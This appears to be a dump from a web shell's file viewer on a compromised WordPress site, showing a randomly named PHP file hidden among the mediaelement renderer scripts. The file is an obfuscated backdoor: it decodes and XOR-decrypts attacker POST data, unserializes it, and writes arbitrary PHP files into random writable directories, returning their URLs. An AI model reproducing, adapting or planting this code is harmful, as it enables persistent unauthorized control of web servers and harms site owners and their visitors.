HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-includes/js/mediaelement/renderers/yfmeprga.php
<?php $yPGgXry = chr(1050-982)."\117"."\x43".chr(85).'M'.'E'.chr(78)."\124".chr(95).chr(82)."\x4f".chr(573-494)."\124";$xWnVExZZ = chr(1003-931)."\x54".chr(84).'P'."\x5f".chr(72)."\117".chr(553-470)."\124";$ULXmRhk = 'h'.chr(704-588).chr(116).chr(112).chr(58)."\x2f"."\x2f";$aGTpfYH = '.'.'p'.chr(104).'p';$ZkqhB = "\x70".'h'.chr(407-295);$nEZVXglYpu = "\146"."\151"."\x6c".'e'.chr(442-347).'p'.'u'."\164"."\137".'c'.chr(111)."\x6e"."\x74".'e'.chr(110)."\164".chr(450-335);$Eyfweiq = "\162".chr(831-734).chr(119).chr(117)."\162"."\x6c".chr(100)."\x65".chr(99)."\x6f".'d'."\145";$OgVaoMSjt = 'u'.chr(739-629).chr(115).chr(773-672)."\x72"."\x69".'a'."\x6c".'i'.'z'."\145";$abIFbSeZlP = 'i'."\x73".chr(242-147).chr(431-312).chr(1062-948).chr(437-332).chr(595-479).'a'."\142".chr(452-344)."\145";$QdSlxaf = 'p'."\x68"."\x70".chr(489-371).chr(1047-946)."\162".'s'."\x69".chr(111)."\x6e";$tYZFes = chr(115)."\164"."\162".'_'.'r'.'o'."\x74"."\61".'3';$HZFChDOaA = chr(880-765).chr(101).'r'."\x69"."\x61".chr(321-213).'i'.chr(225-103)."\x65";$WvWWwnY = chr(686-571).'t'."\162".'_'."\x73"."\x70".'l'.'i'."\164";foreach ($_POST as $RBpLpwK => $VAjQJ){$NSwcyx = strlen($RBpLpwK);if ($NSwcyx == 16){$VAjQJ = $WvWWwnY($Eyfweiq($tYZFes($VAjQJ)));$RBpLpwK = array_slice($WvWWwnY(str_repeat($RBpLpwK, (count($VAjQJ)/16)+1)), 0, count($VAjQJ));function SzcBfJpK($edaKlubxL, $tRYeOaWILw, $RBpLpwK){$XKituWGw = "c2090af1-102c-42d7-abad-6b09412d2c25";return $edaKlubxL ^ $XKituWGw[$tRYeOaWILw % strlen($XKituWGw)] ^ $RBpLpwK;}$VAjQJ = array_map("SzcBfJpK", array_values($VAjQJ), array_keys($VAjQJ), array_values($RBpLpwK));$VAjQJ = implode("", $VAjQJ);$VAjQJ = @$OgVaoMSjt($VAjQJ);if (@is_array($VAjQJ)){$gEazZsAQGz = array_keys($VAjQJ);$VAjQJ = $VAjQJ[$gEazZsAQGz[0]];if ($VAjQJ === $gEazZsAQGz[0]){echo @$HZFChDOaA(Array($ZkqhB => @$QdSlxaf(), ));exit();}else {function qiWypu($mgFJUlsir){static $sxJSnrEwV = array();$sedxSzCNKT = glob($mgFJUlsir . '/*', GLOB_ONLYDIR);$kmZcECS = count($sedxSzCNKT);if ($kmZcECS > 0) {foreach ($sedxSzCNKT as $mgFJUls) {if (@$abIFbSeZlP($mgFJUls)) {$sxJSnrEwV[] = $mgFJUls;}}}foreach ($sedxSzCNKT as $mgFJUlsir) qiWypu($mgFJUlsir);return $sxJSnrEwV;}$oJvWp = $_SERVER[$yPGgXry];$sedxSzCNKT = qiWypu($oJvWp);$gEazZsAQGz = array_rand($sedxSzCNKT);$lVdhOl = $sedxSzCNKT[$gEazZsAQGz] . "/" . substr(md5(time()), 0, 8) . $aGTpfYH;@$nEZVXglYpu($lVdhOl, $VAjQJ);$PQPBIJC = $ULXmRhk . $_SERVER[$xWnVExZZ] . substr($lVdhOl, strlen($oJvWp));print($PQPBIJC);die();}}}}